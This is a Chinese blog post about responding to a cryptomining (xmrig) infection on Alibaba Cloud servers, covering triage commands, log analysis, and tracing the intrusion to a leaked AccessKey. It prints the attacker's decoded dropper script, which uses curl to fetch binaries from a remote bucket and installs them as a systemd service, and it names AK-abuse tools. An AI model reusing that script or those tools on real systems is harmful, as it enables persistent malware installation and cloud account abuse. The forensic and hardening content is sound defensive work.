【记一次真实的挖矿病毒应急响应】

文章目录

前言

一、发现告警

二、应急响应

1、网络连接

2、恶意文件与进程

1）挖矿进程

2）所有进程

3）隐藏进程

4）最近文件

3、用户账号

4、SSH公钥

5、计划任务

6、自启动服务

7、敏感目录

8、特权文件

9、命令别名

三、漏洞溯源分析

1、日志分析

1）安全日志

2）登录日志

3）命令日志

4）中间件日志

5）系统信息日志

6）数据库日志

7）FTP日志

2、阿里云操作审计

1）操作审计

2）AK值调用

3）命令信息

4）漏洞成因

四、漏洞复现

五、后续处置

---

前言

前面不是说到自己最近在看应急响应的相关文章，也在加深学习，好巧不巧，结果周一的时候，我司的几台云服务器就遭到了挖矿病毒攻击

随即也是立马展开应急响应工作，最终也成功排查出漏洞原因，并进行了安全加固，本文将对整个事件过程进行一个梳理，以其中一台云服务器进行举例分析

---

一、发现告警

通过查看阿里云告警信息，阿里云安全中心在2024-03-17 20:32:31检测到云服务器存在挖矿病毒进行了告警，显示路径是/root/xmrig-6.21.1。

并在22:45:23检测到存在恶意执行脚本/opt/sysetmd。

xmrig可通过搜索就能确认是一种挖矿病毒，此时基本可以确认服务器遭到了攻击，下一步需到服务器中进行排查。

二、应急响应

1、网络连接

netstat -anpt

发现存在外联IP，可通过威胁情报中心进行分析

2、恶意文件与进程

1）挖矿进程

Ps -aux

发现内存占用率高达94%，并且可以看到文件路径

找到文件将其删除（应急时应先看文件落地时间，保留文件样本，再删除方便后续追溯分析）

下载挖矿病毒配置文件，可以找到外联域名

并且根据阿里云提示还存在命令执行脚本文件sysetmd，也应该找到将其删除

此后再查看网络连接情况，发现无外联IP了

2）所有进程

使用命令pstree -asp排查所有进程，通过进程名称和进程启动命令，发现可疑进程（我已经清理了，所以没有异常）

3）隐藏进程

查看隐藏进程，无异常

ps -ef | awk '{print}' | sort | uniq > 1
ps -ef | awk '{print}' | sort | uniq > 2
diff 1 2

4）最近文件

find / -newerct '2024-03-17 00:00:00' ! -newerct '2024-03-18 09:00:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null

排查恶意程序落地前后相继落地的其它文件，发现一些可疑文件，其中一些文件已经被我删掉了，所以没有记录。

3、用户账号

cat /etc/passwd
cat /etc/shadow

账号无异常

排查可以登录SSH的账户，发现只有root和自己创建的账户的/bin/bash可以登录，未发现异常

cat /etc/passwd | grep -v 'nologin\|false'

排查UID是0的超级权限账户，发现只有root账户，未发现异常

cat /etc/passwd | awk -F: '$3==0 {print $1}'

排查有口令的SSH账户，发现只有root账户和自己的账户，未发现异常

cat /etc/shadow | awk -F: 'length($2)>2 {print $1}'

排查空口令的SSH账户，未发现异常

cat /etc/shadow | awk -F: 'length($2)==0 {print $1}'

4、SSH公钥

cat /root/.ssh/authorized_keys

ssh公钥无异常

5、计划任务

cat /var/spool/cron/root
cat /etc/crontab

计划任务无异常

6、自启动服务

cat /etc/rc.d/rc.local
ll /etc/systemd/system/
ll /etc/systemd/system/multi-user.target.wants/ #该目录是存放多用户模式下启动服务的符号链接的地方。

此次挖矿病毒的自启动服务就存在这两个目录下，文件为

/etc/systemd/system/monero.service
/etc/systemd/system/sysetmd.service 
/etc/systemd/system/multi-user.target.wants/sysetmd.service
/etc/systemd/system/multi-user.target.wants/monero.service

均删除掉后便不会有自启动服务

可查看自启动的服务

systemctl list-unit-files --type=service | grep enabled

7、敏感目录

排查临时目录，未发现新的可疑文件

find /tmp ! -type d -exec ls -lctr --full-time {} \+ 2>/dev/null

排查家目录，未发现新的可疑文件

find $HOME ! -type d -exec ls -lctr --full-time {} \+ 2>/dev/null

8、特权文件

命令排查特权文件，未发现可疑文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

9、命令别名

排查命令别名，未发现异常

alias
find / -name *bashrc* -type f -exec ls -lctr --full-time {} \+ 2>/dev/null

三、漏洞溯源分析

1、日志分析

1）安全日志

/var/log/secure

/var/log/audit/audit.log

日志记录了服务器的登陆认证信息

可发现存在大量ssh登陆失败的日志，IP:222.67.206.205，无疑是遭到了ssh爆破

使用命令查看登陆成功的IP

cat /var/log/secure* | grep Accepted | awk '{print $11}' | sort | uniq -c | sort -nr

经过确认这些都是我自己登陆过的IP，因为近期出现安全事件，在不同的地方登陆过多次。

cat /var/log/secure* | grep IP地址 | grep Failed | wc -l

可使用上面这个命令查看对应IP有多少次登陆失败的记录，这里因为都是自己的IP就不排查了

2）登录日志

/var/log/lastlog 查看用户最后登录系统的信息

使用命令w查看用户正在登录系统的信息（/var/run/utmp），均未发现异常

3）命令日志

/root/.bash_history

使用history命令查看历史命令，未发现攻击者使用过的命令

4）中间件日志

服务器搭建有nginx服务和seafile服务，相关日志有

/var/log/nginx/access.log

/var/log/nginx/seahub.access.log

但是经过排查没有找到相关的文件上传或异常请求的日志

5）系统信息日志

/var/log/messages

通过排查日志我们发现了首次启动恶意脚本服务的记录，时间是：3/17-13:45

外联IP：124.156.180.184，为恶意IP

继续向下看，发现在3/17-20:32,该服务主动下载了挖矿病毒并解压运行，并下载了相关的服务文件

也正是在20:32阿里云安全中心发出了告警，提示服务器上存在挖矿病毒，时间吻合

并且注意到该服务还会重启，应该是有计划任务或者自启动服务（上面已经排查过了），因为在18日1:56又开始下载挖矿病毒，和上面是一样的流程

由此可以推断：攻击者先上传了或下载了sysetmd的脚本文件，并开启了服务，时间是13:45；在晚上20:32下载并运行了挖矿病毒，随即阿里云安全中心发出了告警，并且服务还设有自启动或定时任务。

同时引发出一个新的问题，sysetmd文件是怎么到服务器上去的呢？？？？这个问题困扰了我很久，继续排查日志始终没有进展。

6）数据库日志

没有运行数据库服务，不涉及数据库日志排查

7）FTP日志

没有运行FTP服务，不涉及FTP日志排查

2、阿里云操作审计

通过上面的排查与分析，目前还存在一个问题没有解决，即:

攻击者是怎么上传sysetmd文件的？

通过排查服务器各类日志没有找到上传路径，由于服务器部署在云上，且没有部署WAF等安全设备，所以除了系统自身日志外，没有其他设备中有记录。

由于找不到上传路径困扰了我很久，最后只能再看一下阿里云上有没有线索，抱着试一试的心理询问了阿里云客服，没想到居然找到了问题所在。

1）操作审计

通过操作审计功能-事件查询-设置服务启动的大致时间范围，找到了执行记录，可查看到执行命令的用户；并且执行时间也和我们上面分析的一致：3/17-13:45

RunCommand:在实例中执行脚本

通过查看事件详情，发现实例中的云服务器正是本次遭到攻击的服务器

以及发起请求的IP，事件源 IP：43.135.35.81，正是一个公共矿池IP

2）AK值调用

在事件详情中，userIdentity处，accesskeyid的值不为空，说明该命令是通过调用ak值执行的

3）命令信息

并且能够看到执行的命令，经过base64解密后可查看到

#!/bin/bash
curl -s http://bpg-test.oss-cn-chengdu.aliyuncs.com/sChange/2024/02/27/libhv.so -o /usr/lib64/libhv.so;
curl -s http://bpg-test.oss-cn-chengdu.aliyuncs.com/sChange/2024/02/27/sysetmd -o /opt/sysetmd;
chmod 777 /opt/sysetmd;
curl -s http://bpg-test.oss-cn-chengdu.aliyuncs.com/sChange/2024/02/27/sysetmd.service -o /etc/systemd/system/sysetmd.service;
systemctl daemon-reload;
systemctl enable sysetmd.service;
systemctl start sysetmd.service;

很容易理解命令的含义：使用curl命令下载了sysetmd脚本及相关服务文件，并给予可执行权限，设置开机自启动服务，并立即开启sysetmd服务

同时也可到ECS云助手或服务器实例-操作记录中查看命令执行信息，并可通过执行id和命令id相互关联

4）漏洞成因

分析至此，可以确认该事件是由于该用户的accesskeyid泄露，被攻击者获取进而通过命令执行下载sysetmd可执行文件，再下载运行挖矿病毒造成的。

四、漏洞复现

免责声明：
本文所提供的文字和信息仅供学习和研究使用，请读者自觉遵守法律法规，不得利用本文所提供的信息从事任何违法活动。本文不对读者的任何违法行为承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。

此处介绍三个ak信息泄露的利用工具，原理相似。

1）CF云环境利用工具

2）行云管家

3）AliCloud-Tools

五、后续处置

1、将分析过程中提到的所有恶意IP和域名全部封禁
2、修改服务器密码并保持强口令密码
3、如有数据备份或快照，可对服务器进行还原处理
4、删除或禁用该用户的accesskey，重新创建一个ak值
5、尽量不要直接将ak信息明文写入代码或配置文件中，要注重安全防护
6、阿里云账户权限实行权限最小化管理，不要给与用户过大权限

---